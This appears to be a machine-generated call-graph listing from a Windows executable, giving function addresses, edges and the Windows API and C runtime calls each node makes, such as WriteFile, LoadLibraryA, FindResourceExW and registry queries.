d2a91d 94360->94362 94361->94347 94363 d2a93a 94362->94363 94364 d2a928 InitializeCriticalSectionAndSpinCount 94362->94364 94438 d2a970 LeaveCriticalSection _doexit 94363->94438 94364->94363 94367 d2b050 __ftell_nolock 94366->94367 94368 d2b0ac 94367->94368 94369 d2b08d 94367->94369 94402 d2b082 94367->94402 94374 d2b105 94368->94374 94375 d2b0e9 94368->94375 94448 d27bda 47 API calls __getptd_noexit 94369->94448 94372 d2b86b 94372->94353 94373 d2b092 94449 d27c0e 47 API calls __getptd_noexit 94373->94449 94377 d2b11c 94374->94377 94454 d2f82f 49 API calls 3 library calls 94374->94454 94451 d27bda 47 API calls __getptd_noexit 94375->94451 94439 d33bf2 94377->94439 94379 d2b0ee 94452 d27c0e 47 API calls __getptd_noexit 94379->94452 94380 d2b099 94450 d26e10 8 API calls __controlfp_s 94380->94450 94385 d2b12a 94387 d2b44b 94385->94387 94455 d27a0d 47 API calls 2 library calls 94385->94455 94386 d2b0f5 94453 d26e10 8 API calls __controlfp_s 94386->94453 94388 d2b463 94387->94388 94389 d2b7b8 WriteFile 94387->94389 94391 d2b55a 94388->94391 94392 d2b479 94388->94392 94393 d2b7e1 GetLastError 94389->94393 94404 d2b410 94389->94404 94397 d2b663 94391->94397 94398 d2b565 94391->94398 94396 d2b81b 94392->94396 94401 d2b4e9 WriteFile 94392->94401 94393->94404 94395 d2b150 GetConsoleMode 94395->94387 94399 d2b189 94395->94399 94396->94402 94460 d27c0e 47 API calls __getptd_noexit 94396->94460 94397->94396 94409 d2b6d8 WideCharToMultiByte 94397->94409 94398->94396 94408 d2b5de WriteFile 94398->94408 94399->94387 94400 d2b199 GetConsoleCP 94399->94400 94400->94404 94428 d2b1c2 94400->94428 94401->94393 94405 d2b526 94401->94405 94462 d2a70c 94402->94462 94404->94396 94404->94402 94407 d2b7f7 94404->94407 94405->94392 94405->94404 94415 d2b555 94405->94415 94406 d2b843 94461 d27bda 47 API calls __getptd_noexit 94406->94461 94411 d2b812 94407->94411 94412 d2b7fe 94407->94412 94408->94393 94413 d2b62d 94408->94413 94409->94393 94422 d2b71f 94409->94422 94459 d27bed 47 API calls 3 library calls 94411->94459 94457 d27c0e 47 API calls __getptd_noexit 94412->94457 94413->94398 94413->94404 94413->94415 94415->94404 94417 d2b727 WriteFile 94419 d2b77a GetLastError 94417->94419 94417->94422 94418 d2b803 94458 d27bda 47 API calls __getptd_noexit 94418->94458 94419->94422 94422->94397 94422->94404 94422->94415 94422->94417 94423 d35884 WriteConsoleW CreateFileW __chsize_nolock 94426 d2b2f6 94423->94426 94424 d2b28f WideCharToMultiByte 94424->94404 94427 d2b2ca WriteFile 94424->94427 94425 d340f7 59 API calls __chsize_nolock 94425->94428 94426->94393 94426->94404 94426->94423 94426->94428 94429 d2b321 WriteFile 94426->94429 94427->94393 94427->94426 94428->94404 94428->94424 94428->94425 94428->94426 94456 d21688 57 API calls __isleadbyte_l 94428->94456 94429->94393 94429->94426 94430->94338 94431->94345 94432->94354 94433->94353 94434->94345 94435->94340 94436->94346 94437->94345 94438->94359 94440 d33c0a 94439->94440 94441 d33bfd 94439->94441 94444 d33c16 94440->94444 94470 d27c0e 47 API calls __getptd_noexit 94440->94470 94469 d27c0e 47 API calls __getptd_noexit 94441->94469 94443 d33c02 94443->94385 94444->94385 94446 d33c37 94471 d26e10 8 API calls __controlfp_s 94446->94471 94448->94373 94449->94380 94450->94402 94451->94379 94452->94386 94453->94402 94454->94377 94455->94395 94456->94428 94457->94418 94458->94402 94459->94402 94460->94406 94461->94402 94463 d2a716 IsProcessorFeaturePresent 94462->94463 94464 d2a714 94462->94464 94466 d337b0 94463->94466 94464->94372 94472 d3375f 5 API calls ___raise_securityfailure 94466->94472 94468 d33893 94468->94372 94469->94443 94470->94446 94471->94443 94472->94468 94473->94304 94474->94306 94497 d2aba4 94475->94497 94477 d2eb00 94510 d2ab1e 48 API calls 2 library calls 94477->94510 94478 d2eaaa 94478->94477 94479 d2eade 94478->94479 94481 d2aba4 __chsize_nolock 47 API calls 94478->94481 94479->94477 94482 d2aba4 __chsize_nolock 47 API calls 94479->94482 94485 d2ead5 94481->94485 94486 d2eaea CloseHandle 94482->94486 94483 d2eb08 94484 d2eb2a 94483->94484 94511 d27bed 47 API calls 3 library calls 94483->94511 94484->94328 94488 d2aba4 __chsize_nolock 47 API calls 94485->94488 94486->94477 94489 d2eaf6 GetLastError 94486->94489 94488->94479 94489->94477 94490->94313 94491->94318 94492->94328 94493->94318 94494->94316 94495->94321 94496->94318 94498 d2abaf 94497->94498 94500 d2abc4 94497->94500 94512 d27bda 47 API calls __getptd_noexit 94498->94512 94504 d2abe9 94500->94504 94514 d27bda 47 API calls __getptd_noexit 94500->94514 94501 d2abb4 94513 d27c0e 47 API calls __getptd_noexit 94501->94513 94504->94478 94505 d2abf3 94515 d27c0e 47 API calls __getptd_noexit 94505->94515 94506 d2abbc 94506->94478 94508 d2abfb 94516 d26e10 8 API calls __controlfp_s 94508->94516 94510->94483 94511->94484 94512->94501 94513->94506 94514->94505 94515->94508 94516->94506 94518 d06b0f 48 API calls 94517->94518 94537 d0b495 94518->94537 94519 d0b69b 94548 d0ba85 94519->94548 94521 d0b6b5 Mailbox 94521->94159 94524 d0ba85 48 API calls 94524->94537 94525 d7397b 94559 d426bc 88 API calls 4 library calls 94525->94559 94526 d0b9e4 94560 d426bc 88 API calls 4 library calls 94526->94560 94529 d73973 94529->94521 94532 d73989 94534 d0ba85 48 API calls 94532->94534 94533 d0bcce 48 API calls 94533->94537 94534->94529 94535 d73909 94536 d06b4a 48 API calls 94535->94536 94539 d73914 94536->94539 94537->94519 94537->94524 94537->94525 94537->94526 94537->94533 94537->94535 94538 d0bb85 48 API calls 94537->94538 94541 d0bdfa 48 API calls 94537->94541 94544 d73939 _memcpy_s 94537->94544 94546 d0c413 59 API calls 94537->94546 94547 d0bc74 48 API calls 94537->94547 94556 d0c6a5 49 API calls 94537->94556 94557 d0c799 48 API calls _memcpy_s 94537->94557 94538->94537 94543 d1f4ea 48 API calls 94539->94543 94542 d0b66c CharUpperBuffW 94541->94542 94542->94537 94543->94544 94558 d426bc 88 API calls 4 library calls 94544->94558 94545->94163 94546->94537 94547->94537 94549 d0bb25 94548->94549 94555 d0ba98 _memcpy_s 94548->94555 94551 d1f4ea 48 API calls 94549->94551 94550 d1f4ea 48 API calls 94553 d0ba9f 94550->94553 94551->94555 94552 d0bac8 94552->94521 94553->94552 94554 d1f4ea 48 API calls 94553->94554 94554->94552 94555->94550 94556->94537 94557->94537 94558->94529 94559->94532 94560->94529 94652 d04214 94561->94652 94566 d74f73 94569 d04252 84 API calls 94566->94569 94567 d041d4 LoadLibraryExW 94662 d04291 94567->94662 94571 d74f7a 94569->94571 94573 d04291 3 API calls 94571->94573 94575 d74f82 94573->94575 94574 d041fb 94574->94575 94576 d04207 94574->94576 94688 d044ed 94575->94688 94577 d04252 84 API calls 94576->94577 94579 d0420c 94577->94579 94579->94176 94579->94177 94582 d74fa9 94696 d04950 94582->94696 94946 d21e46 94585->94946 94589 d46918 _wcschr __ftell_nolock 94588->94589 94590 d21dfc __wsplitpath 47 API calls 94589->94590 94593 d4692e _wcscat _wcscpy 94589->94593 94591 d4695d 94590->94591 94592 d21dfc __wsplitpath 47 API calls 94591->94592 94592->94593 94593->94197 94595 d4bfb1 __ftell_nolock 94594->94595 94596 d1f4ea 48 API calls 94595->94596 94597 d4c00e 94596->94597 94598 d047b7 48 API calls 94597->94598 94599 d4c018 94598->94599 94600 d4bdb4 GetSystemTimeAsFileTime 94599->94600 94601 d4c023 94600->94601 94602 d04517 83 API calls 94601->94602 94603 d4c036 _wcscmp 94602->94603 94604 d4c107 94603->94604 94605 d4c05a 94603->94605 94606 d4c56d 94 API calls 94604->94606 94989 d4c56d 94605->94989 94622 d4c0d3 _wcscat 94606->94622 94609 d21dfc __wsplitpath 47 API calls 94614 d4c088 _wcscat _wcscpy 94609->94614 94610 d044ed 64 API calls 94611 d4c12c 94610->94611 94613 d044ed 64 API calls 94611->94613 94612 d4c110 94612->94203 94615 d4c13c 94613->94615 94617 d21dfc __wsplitpath 47 API calls 94614->94617 94616 d044ed 64 API calls 94615->94616 94618 d4c157 94616->94618 94617->94622 94619 d044ed 64 API calls 94618->94619 94620 d4c167 94619->94620 94621 d044ed 64 API calls 94620->94621 94623 d4c182 94621->94623 94622->94610 94622->94612 94624 d044ed 64 API calls 94623->94624 94625 d4c192 94624->94625 94626 d044ed 64 API calls 94625->94626 94627 d4c1a2 94626->94627 94628 d044ed 64 API calls 94627->94628 94629 d4c1b2 94628->94629 94972 d4c71a GetTempPathW GetTempFileNameW 94629->94972 94631 d4c1be 94632 d23499 117 API calls 94631->94632 94643 d4c1cf 94632->94643 94633 d4c289 94634 d235e4 __fcloseall 83 API calls 94633->94634 94635 d4c294 94634->94635 94637 d4c2ae 94635->94637 94638 d4c29a DeleteFileW 94635->94638 94636 d044ed 64 API calls 94636->94643 94639 d4c342 CopyFileW 94637->94639 94644 d4c2b8 94637->94644 94638->94612 94640 d4c358 DeleteFileW 94639->94640 94641 d4c36a DeleteFileW 94639->94641 94640->94612 94986 d4c6d9 CreateFileW 94641->94986 94643->94612 94643->94633 94643->94636 94973 d22aae 94643->94973 94995 d4b965 118 API calls __fcloseall 94644->94995 94647 d4c32d 94647->94641 94648 d4c331 DeleteFileW 94647->94648 94648->94612 94649->94166 94650->94187 94651->94194 94701 d04339 94652->94701 94655 d0423c 94657 d04244 FreeLibrary 94655->94657 94658 d041bb 94655->94658 94657->94658 94659 d23499 94658->94659 94709 d234ae 94659->94709 94661 d041c8 94661->94566 94661->94567 94866 d042e4 94662->94866 94665 d042c1 FreeLibrary 94666 d041ec 94665->94666 94669 d04380 94666->94669 94668 d042b8 94668->94665 94668->94666 94670 d1f4ea 48 API calls 94669->94670 94671 d04395 94670->94671 94672 d047b7 48 API calls 94671->94672 94673 d043a1 _memcpy_s 94672->94673 94674 d043dc 94673->94674 94675 d044d1 94673->94675 94676 d04499 94673->94676 94677 d04950 57 API calls 94674->94677 94885 d4c750 93 API calls 94675->94885 94874 d0406b CreateStreamOnHGlobal 94676->94874 94685 d043e5 94677->94685 94680 d044ed 64 API calls 94680->94685 94681 d04479 94681->94574 94683 d74ed7 94684 d04517 83 API calls 94683->94684 94686 d74eeb 94684->94686 94685->94680 94685->94681 94685->94683 94880 d04517 94685->94880 94687 d044ed 64 API calls 94686->94687 94687->94681 94689 d74fc0 94688->94689 94690 d044ff 94688->94690 94903 d2381e 94690->94903 94693 d4bf5a 94923 d4bdb4 94693->94923 94695 d4bf70 94695->94582 94697 d75002 94696->94697 94698 d0495f 94696->94698 94928 d23e65 94698->94928 94700 d04967 94705 d0434b 94701->94705 94704 d04321 LoadLibraryA GetProcAddress 94704->94655 94706 d0422f 94705->94706 94707 d04354 LoadLibraryA 94705->94707 94706->94655 94706->94704 94707->94706 94708 d04365 GetProcAddress 94707->94708 94708->94706 94710 d234ba __setmbcp 94709->94710 94711 d234cd 94710->94711 94714 d234fe 94710->94714 94757 d27c0e 47 API calls __getptd_noexit 94711->94757 94713 d234d2 94758 d26e10 8 API calls __controlfp_s 94713->94758 94728 d2e4c8 94714->94728 94717 d23503 94718 d23519 94717->94718 94719 d2350c 94717->94719 94721 d23543 94718->94721 94722 d23523 94718->94722 94759 d27c0e 47 API calls __getptd_noexit 94719->94759 94742 d2e5e0 94721->94742 94760 d27c0e 47 API calls __getptd_noexit 94722->94760 94725 d234dd @_EH4_CallFilterFunc@8 __setmbcp 94725->94661 94729 d2e4d4 __setmbcp 94728->94729 94730 d27cf4 __lock 47 API calls 94729->94730 94740 d2e4e2 94730->94740 94731 d2e552 94762 d2e5d7 94731->94762 94732 d2e559 94734 d269d0 __malloc_crt 47 API calls 94732->94734 94736 d2e560 94734->94736 94735 d2e5cc __setmbcp 94735->94717 94736->94731 94737 d2e56f InitializeCriticalSectionAndSpinCount EnterCriticalSection 94736->94737 94737->94731 94738 d27d7c __mtinitlocknum 47 API calls 94738->94740 94740->94731 94740->94732 94740->94738 94765 d24e5b 48 API calls __lock 94740->94765 94766 d24ec5 LeaveCriticalSection LeaveCriticalSection _doexit 94740->94766 94750 d2e600 __wopenfile 94742->94750 94743 d2e61a 94771 d27c0e 47 API calls __getptd_noexit 94743->94771 94745 d2e7d5 94745->94743 94749 d2e838 94745->94749 94746 d2e61f 94772 d26e10 8 API calls __controlfp_s 94746->94772 94748 d2354e 94761 d23570 LeaveCriticalSection LeaveCriticalSection _fprintf 94748->94761 94768 d363c9 94749->94768 94750->94743 94750->94745 94773 d2185b 59 API calls 3 library calls 94750->94773 94753 d2e7ce 94753->94745 94774 d2185b 59 API calls 3 library calls 94753->94774 94755 d2e7ed 94755->94745 94775 d2185b 59 API calls 3 library calls 94755->94775 94757->94713 94758->94725 94759->94725 94760->94725 94761->94725 94767 d27e58 LeaveCriticalSection 94762->94767 94764 d2e5de 94764->94735 94765->94740 94766->94740 94767->94764 94776 d35bb1 94768->94776 94770 d363e2 94770->94748 94771->94746 94772->94748 94773->94753 94774->94755 94775->94745 94777 d35bbd __setmbcp 94776->94777 94778 d35bcf 94777->94778 94781 d35c06 94777->94781 94863 d27c0e 47 API calls __getptd_noexit 94778->94863 94780 d35bd4 94864 d26e10 8 API calls __controlfp_s 94780->94864 94787 d35c78 94781->94787 94784 d35c23 94865 d35c4c LeaveCriticalSection __unlock_fhandle 94784->94865 94786 d35bde __setmbcp 94786->94770 94788 d35c98 94787->94788 94789 d2273b __wsopen_helper 47 API calls 94788->94789 94793 d35cb4 94789->94793 94790 d35deb 94791 d26e20 __invoke_watson 8 API calls 94790->94791 94792 d363c8 94791->94792 94794 d35bb1 __wsopen_helper 104 API calls 94792->94794 94793->94790 94795 d35cee 94793->94795 94806 d35d11 94793->94806 94796 d363e2 94794->94796 94797 d27bda __chsize_nolock 47 API calls 94795->94797 94796->94784 94798 d35cf3 94797->94798 94799 d27c0e __calloc_impl 47 API calls 94798->94799 94800 d35d00 94799->94800 94802 d26e10 __controlfp_s 8 API calls 94800->94802 94801 d35dcf 94803 d27bda __chsize_nolock 47 API calls 94801->94803 94804 d35d0a 94802->94804 94805 d35dd4 94803->94805 94804->94784 94807 d27c0e __calloc_impl 47 API calls 94805->94807 94806->94801 94808 d35dad 94806->94808 94809 d35de1 94807->94809 94811 d2a979 __wsopen_helper 52 API calls 94808->94811 94810 d26e10 __controlfp_s 8 API calls 94809->94810 94810->94790 94812 d35e7b 94811->94812 94813 d35ea6 94812->94813 94814 d35e85 94812->94814 94816 d35b20 ___createFile GetModuleHandleW GetProcAddress CreateFileW 94813->94816 94815 d27bda __chsize_nolock 47 API calls 94814->94815 94817 d35e8a 94815->94817 94827 d35ec8 94816->94827 94818 d27c0e __calloc_impl 47 API calls 94817->94818 94820 d35e94 94818->94820 94819 d35f46 GetFileType 94821 d35f93 94819->94821 94822 d35f51 GetLastError 94819->94822 94825 d27c0e __calloc_impl 47 API calls 94820->94825 94831 d2ac0b __set_osfhnd 48 API calls 94821->94831 94826 d27bed __dosmaperr 47 API calls 94822->94826 94823 d35f14 GetLastError 94824 d27bed __dosmaperr 47 API calls 94823->94824 94828 d35f39 94824->94828 94825->94804 94829 d35f78 CloseHandle 94826->94829 94827->94819 94827->94823 94830 d35b20 ___createFile GetModuleHandleW GetProcAddress CreateFileW 94827->94830 94834 d27c0e __calloc_impl 47 API calls 94828->94834 94829->94828 94832 d35f86 94829->94832 94833 d35f09 94830->94833 94838 d35fb1 94831->94838 94835 d27c0e __calloc_impl 47 API calls 94832->94835 94833->94819 94833->94823 94834->94790 94836 d35f8b 94835->94836 94836->94828 94837 d3616c 94837->94790 94840 d3633f CloseHandle 94837->94840 94838->94837 94839 d2f82f __lseeki64_nolock 49 API calls 94838->94839 94855 d36032 94838->94855 94841 d3601b 94839->94841 94842 d35b20 ___createFile GetModuleHandleW GetProcAddress CreateFileW 94840->94842 94844 d27bda __chsize_nolock 47 API calls 94841->94844 94859 d3603a 94841->94859 94843 d36366 94842->94843 94845 d3636e GetLastError 94843->94845 94853 d361f6 94843->94853 94844->94855 94846 d27bed __dosmaperr 47 API calls 94845->94846 94847 d3637a 94846->94847 94851 d2ab1e __free_osfhnd 48 API calls 94847->94851 94848 d2ee0e 59 API calls __filbuf 94848->94859 94849 d2ea9c __close_nolock 50 API calls 94849->94859 94850 d36f40 __chsize_nolock 81 API calls 94850->94859 94851->94853 94852 d2f82f 49 API calls __lseeki64_nolock 94852->94855 94853->94790 94854 d2af61 __flswbuf 78 API calls 94854->94855 94855->94837 94855->94852 94855->94854 94855->94859 94856 d361e9 94857 d2ea9c __close_nolock 50 API calls 94856->94857 94858 d361f0 94857->94858 94861 d27c0e __calloc_impl 47 API calls 94858->94861 94859->94848 94859->94849 94859->94850 94859->94855 94859->94856 94860 d2f82f 49 API calls __lseeki64_nolock 94859->94860 94862 d361d2 94859->94862 94860->94859 94861->94853 94862->94837 94863->94780 94864->94786 94865->94786 94870 d042f6 94866->94870 94869 d042cc LoadLibraryA GetProcAddress 94869->94668 94871 d042aa 94870->94871 94872 d042ff LoadLibraryA 94870->94872 94871->94668 94871->94869 94872->94871 94873 d04310 GetProcAddress 94872->94873 94873->94871 94875 d04085 FindResourceExW 94874->94875 94877 d040a2 94874->94877 94876 d74f16 LoadResource 94875->94876 94875->94877 94876->94877 94878 d74f2b SizeofResource 94876->94878 94877->94674 94878->94877 94879 d74f3f LockResource 94878->94879 94879->94877 94881 d04526 94880->94881 94882 d74fe0 94880->94882 94886 d23a8d 94881->94886 94884 d04534 94884->94685 94885->94674 94887 d23a99 __setmbcp 94886->94887 94888 d23aa7 94887->94888 94890 d23acd 94887->94890 94899 d27c0e 47 API calls __getptd_noexit 94888->94899 94892 d24e1c __lock_file 48 API calls 94890->94892 94891 d23aac 94900 d26e10 8 API calls __controlfp_s 94891->94900 94894 d23ad3 94892->94894 94901 d239fe 81 API calls 4 library calls 94894->94901 94896 d23ae2 94902 d23b04 LeaveCriticalSection LeaveCriticalSection _fprintf 94896->94902 94898 d23ab7 __setmbcp 94898->94884 94899->94891 94900->94898 94901->94896 94902->94898 94906 d23839 94903->94906 94905 d04510 94905->94693 94907 d23845 __setmbcp 94906->94907 94908 d23888 94907->94908 94910 d2385b _memset 94907->94910 94918 d23880 __setmbcp 94907->94918 94909 d24e1c __lock_file 48 API calls 94908->94909 94912 d2388e 94909->94912 94919 d27c0e 47 API calls __getptd_noexit 94910->94919 94921 d2365b 62 API calls 6 library calls 94912->94921 94913 d23875 94920 d26e10 8 API calls __controlfp_s 94913->94920 94916 d238a4 94922 d238c2 LeaveCriticalSection LeaveCriticalSection _fprintf 94916->94922 94918->94905 94919->94913 94920->94918 94921->94916 94922->94918 94926 d2344a GetSystemTimeAsFileTime 94923->94926 94925 d4bdc3 94925->94695 94927 d23478 __aulldiv 94926->94927 94927->94925 94929 d23e71 __setmbcp 94928->94929 94930 d23e94 94929->94930 94931 d23e7f 94929->94931 94932 d24e1c __lock_file 48 API calls 94930->94932 94942 d27c0e 47 API calls __getptd_noexit 94931->94942 94934 d23e9a 94932->94934 94944 d23b0c 55 API calls 6 library calls 94934->94944 94935 d23e84 94943 d26e10 8 API calls __controlfp_s 94935->94943 94938 d23ea5 94945 d23ec5 LeaveCriticalSection LeaveCriticalSection _fprintf 94938->94945 94939 d23e8f __setmbcp 94939->94700 94941 d23eb7 94941->94939 94942->94935 94943->94939 94944->94938 94945->94941 94947 d21e61 94946->94947 94950 d21e55 94946->94950 94970 d27c0e 47 API calls __getptd_noexit 94947->94970 94949 d22019 94954 d21e41 94949->94954 94971 d26e10 8 API calls __controlfp_s 94949->94971 94950->94947 94961 d21ed4 94950->94961 94965 d29d6b 47 API calls 2 library calls 94950->94965 94953 d21fa0 94953->94947 94953->94954 94956 d21fb0 94953->94956 94954->94189 94955 d21f5f 94955->94947 94957 d21f7b 94955->94957 94967 d29d6b 47 API calls 2 library calls 94955->94967 94969 d29d6b 47 API calls 2 library calls 94956->94969 94957->94947 94957->94954 94960 d21f91 94957->94960 94968 d29d6b 47 API calls 2 library calls 94960->94968 94961->94947 94964 d21f41 94961->94964 94966 d29d6b 47 API calls 2 library calls 94961->94966 94964->94953 94964->94955 94965->94961 94966->94964 94967->94957 94968->94954 94969->94954 94970->94949 94971->94954 94972->94631 94974 d22aba __setmbcp 94973->94974 94975 d22ad4 94974->94975 94976 d22aec 94974->94976 94977 d22ae4 __setmbcp 94974->94977 95008 d27c0e 47 API calls __getptd_noexit 94975->95008 94978 d24e1c __lock_file 48 API calls 94976->94978 94977->94643 94980 d22af2 94978->94980 94996 d22957 94980->94996 94981 d22ad9 95009 d26e10 8 API calls __controlfp_s 94981->95009 94987 d4c715 94986->94987 94988 d4c6ff SetFileTime CloseHandle 94986->94988 94987->94612 94988->94987 94994 d4c581 __tzset_nolock _wcscmp 94989->94994 94990 d044ed 64 API calls 94990->94994 94991 d4c05f 94991->94609 94991->94612 94992 d4bf5a GetSystemTimeAsFileTime 94992->94994 94993 d04517 83 API calls 94993->94994 94994->94990 94994->94991 94994->94992 94994->94993 94995->94647 94998 d22966 94996->94998 95005 d22984 94996->95005 94997 d22974 95032 d27c0e 47 API calls __getptd_noexit 94997->95032 94998->94997 95000 d2299c _memcpy_s 94998->95000 94998->95005 95004 d22c84 __flush 78 API calls 95000->95004 95000->95005 95006 d22933 __fclose_nolock 47 API calls 95000->95006 95007 d2af61 __flswbuf 78 API calls 95000->95007 95011 d28e63 95000->95011 95001 d22979 95033 d26e10 8 API calls __controlfp_s 95001->95033 95004->95000 95010 d22b24 LeaveCriticalSection LeaveCriticalSection _fprintf 95005->95010 95006->95000 95007->95000 95008->94981 95009->94977 95010->94977 95012 d22933 __fclose_nolock 47 API calls 95011->95012 95013 d28e71 95012->95013 95014 d28e93 95013->95014 95015 d28e7c 95013->95015 95017 d28e98 95014->95017 95025 d28ea5 _wprintf 95014->95025 95037 d27c0e 47 API calls __getptd_noexit 95015->95037 95038 d27c0e 47 API calls __getptd_noexit 95017->95038 95019 d28eff 95020 d28f83 95019->95020 95021 d28f09 95019->95021 95022 d2af61 __flswbuf 78 API calls 95020->95022 95023 d28f23 95021->95023 95028 d28f3a 95021->95028 95026 d28e81 95022->95026 95024 d2af61 __flswbuf 78 API calls 95023->95024 95024->95026 95025->95019 95025->95026 95027 d33bf2 __flswbuf 47 API calls 95025->95027 95029 d28ef4 95025->95029 95026->95000 95027->95029 95028->95026 95039 d2f733 52 API calls 7 library calls 95028->95039 95029->95019 95034 d33e24 95029->95034 95032->95001 95033->95005 95035 d269d0 __malloc_crt 47 API calls 95034->95035 95036 d33e39 95035->95036 95036->95019 95037->95026 95038->95026 95039->95026 95041 d46529 95040->95041 95042 d46cc4 FindFirstFileW 95040->95042 95041->94134 95042->95041 95043 d46cd9 FindClose 95042->95043 95043->95041 95044 d719cb 95049 d02322 95044->95049 95046 d719d1 95082 d20f0a 52 API calls __cinit 95046->95082 95048 d719db 95050 d02344 95049->95050 95083 d026df 95050->95083 95055 d0d7f7 48 API calls 95056 d02384 95055->95056 95057 d0d7f7 48 API calls 95056->95057 95058 d0238e 95057->95058 95059 d0d7f7 48 API calls 95058->95059 95060 d02398 95059->95060 95061 d0d7f7 48 API calls 95060->95061 95062 d023de 95061->95062 95063 d0d7f7 48 API calls 95062->95063 95064 d024c1 95063->95064 95091 d0263f 95064->95091 95068 d024f1 95069 d0d7f7 48 API calls 95068->95069 95070 d024fb 95069->95070 95120 d02745 95070->95120 95072 d02546 95073 d02556 GetStdHandle 95072->95073 95074 d025b1 95073->95074 95075 d7501d 95073->95075 95076 d025b7 CoInitialize 95074->95076 95075->95074 95077 d75026 95075->95077 95076->95046 95127 d492d4 53 API calls 95077->95127 95079 d7502d 95128 d499f9 CreateThread 95079->95128 95081 d75039 CloseHandle 95081->95076 95082->95048 95129 d02854 95083->95129 95086 d06a63 48 API calls 95087 d0234a 95086->95087 95088 d0272e 95087->95088 95143 d027ec 6 API calls 95088->95143 95090 d0237a 95090->95055 95092 d0d7f7 48 API calls 95091->95092 95093 d0264f 95092->95093 95094 d0d7f7 48 API calls 95093->95094 95095 d02657 95094->95095 95144 d026a7 95095->95144 95098 d026a7 48 API calls 95099 d02667 95098->95099 95100 d0d7f7 48 API calls 95099->95100 95101 d02672 95100->95101 95102 d1f4ea 48 API calls 95101->95102 95103 d024cb 95102->95103 95104 d022a4 95103->95104 95105 d022b2 95104->95105 95106 d0d7f7 48 API calls 95105->95106 95107 d022bd 95106->95107 95108 d0d7f7 48 API calls 95107->95108 95109 d022c8 95108->95109 95110 d0d7f7 48 API calls 95109->95110 95111 d022d3 95110->95111 95112 d0d7f7 48 API calls 95111->95112 95113 d022de 95112->95113 95114 d026a7 48 API calls 95113->95114 95115 d022e9 95114->95115 95116 d1f4ea 48 API calls 95115->95116 95117 d022f0 95116->95117 95118 d71fe7 95117->95118 95119 d022f9 RegisterWindowMessageW 95117->95119 95119->95068 95121 d02755 95120->95121 95122 d75f4d 95120->95122 95123 d1f4ea 48 API calls 95121->95123 95149 d4c942 50 API calls 95122->95149 95126 d0275d 95123->95126 95125 d75f58 95126->95072 95127->95079 95128->95081 95150 d499df 54 API calls 95128->95150 95136 d02870 95129->95136 95132 d02870 48 API calls 95133 d02864 95132->95133 95134 d0d7f7 48 API calls 95133->95134 95135 d02716 95134->95135 95135->95086 95137 d0d7f7 48 API calls 95136->95137 95138 d0287b 95137->95138 95139 d0d7f7 48 API calls 95138->95139 95140 d02883 95139->95140 95141 d0d7f7 48 API calls 95140->95141 95142 d0285c 95141->95142 95142->95132 95143->95090 95145 d0d7f7 48 API calls 95144->95145 95146 d026b0 95145->95146 95147 d0d7f7 48 API calls 95146->95147 95148 d0265f 95147->95148 95148->95098 95149->95125 95151 d7197b 95156 d1dd94 95151->95156 95155 d7198a 95157 d1f4ea 48 API calls 95156->95157 95158 d1dd9c 95157->95158 95159 d1ddb0 95158->95159 95164 d1df3d 95158->95164 95163 d20f0a 52 API calls __cinit 95159->95163 95163->95155 95165 d1df46 95164->95165 95166 d1dda8 95164->95166 95196 d20f0a 52 API calls __cinit 95165->95196 95168 d1ddc0 95166->95168 95169 d0d7f7 48 API calls 95168->95169 95170 d1ddd7 GetVersionExW 95169->95170 95171 d06a63 48 API calls 95170->95171 95172 d1de1a 95171->95172 95197 d1dfb4 95172->95197 95175 d06571 48 API calls 95182 d1de2e 95175->95182 95177 d724c8 95179 d1dea4 GetCurrentProcess 95210 d1df5f LoadLibraryA GetProcAddress 95179->95210 95180 d1df31 GetSystemInfo 95184 d1df0e 95180->95184 95181 d1dee3 95204 d1e00c 95181->95204 95182->95177 95201 d1df77 95182->95201 95188 d1df21 95184->95188 95189 d1df1c FreeLibrary 95184->95189 95186 d1debb 95186->95180 95186->95181 95188->95159 95189->95188 95190 d1df29 GetSystemInfo 95192 d1df03 95190->95192 95191 d1def9 95207 d1dff4 95191->95207 95192->95184 95195 d1df09 FreeLibrary 95192->95195 95195->95184 95196->95166 95198 d1dfbd 95197->95198 95199 d0b18b 48 API calls 95198->95199 95200 d1de22 95199->95200 95200->95175 95211 d1df89 95201->95211 95215 d1e01e 95204->95215 95208 d1e00c 2 API calls 95207->95208 95209 d1df01 GetNativeSystemInfo 95208->95209 95209->95192 95210->95186 95212 d1dea0 95211->95212 95213 d1df92 LoadLibraryA 95211->95213 95212->95179 95212->95186 95213->95212 95214 d1dfa3 GetProcAddress 95213->95214 95214->95212 95216 d1def1 95215->95216 95217 d1e027 LoadLibraryA 95215->95217 95216->95190 95216->95191 95217->95216 95218 d1e038 GetProcAddress 95217->95218 95218->95216 95219 d719ba 95224 d1c75a 95219->95224 95223 d719c9 95225 d0d7f7 48 API calls 95224->95225 95226 d1c7c8 95225->95226 95232 d1d26c 95226->95232 95229 d1c865 95230 d1c881 95229->95230 95235 d1d1fa 48 API calls _memcpy_s 95229->95235 95231 d20f0a 52 API calls __cinit 95230->95231 95231->95223 95236 d1d298 95232->95236 95235->95229 95237 d1d28b 95236->95237 95238 d1d2a5 95236->95238 95237->95229 95238->95237 95239 d1d2ac RegOpenKeyExW 95238->95239 95239->95237 95240 d1d2c6 RegQueryValueExW 95239->95240 95241 d1d2fc RegCloseKey 95240->95241 95242 d1d2e7 95240->95242 95241->95237 95242->95241 95243 d78eb8 95247 d4a635 95243->95247 95245 d78ec3 95246 d4a635 84 API calls 95245->95246 95246->95245 95248 d4a642 95247->95248 95257 d4a66f 95247->95257 95249 d4a671 95248->95249 95251 d4a676 95248->95251 95255 d4a669 95248->95255 95248->95257 95259 d1ec4e 81 API calls 95249->95259 95252 d0936c 81 API calls 95251->95252 95253 d4a67d 95252->95253 95254 d0510d 48 API calls 95253->95254 95254->95257 95258 d14525 61 API calls _memcpy_s 95255->95258 95257->95245 95258->95257 95259->95251 95260 d25dfd 95261 d25e09 __setmbcp 95260->95261 95297 d27eeb GetStartupInfoW 95261->95297 95264 d25e0e 95299 d29ca7 GetProcessHeap 95264->95299 95265 d25e66 95266 d25e71 95265->95266 95381 d25f4d 47 API calls 3 library calls 95265->95381 95300 d27b47 95266->95300 95269 d25e77 95270 d25e82 __RTC_Initialize 95269->95270 95382 d25f4d 47 API calls 3 library calls 95269->95382 95321 d2acb3 95270->95321 95273 d25e91 95274 d25e9d GetCommandLineW 95273->95274 95383 d25f4d 47 API calls 3 library calls 95273->95383 95340 d32e7d GetEnvironmentStringsW 95274->95340 95277 d25e9c 95277->95274 95280 d25eb7 95281 d25ec2 95280->95281 95384 d2115b 47 API calls 3 library calls 95280->95384 95350 d32cb4 95281->95350 95284 d25ec8 95285 d25ed3 95284->95285 95385 d2115b 47 API calls 3 library calls 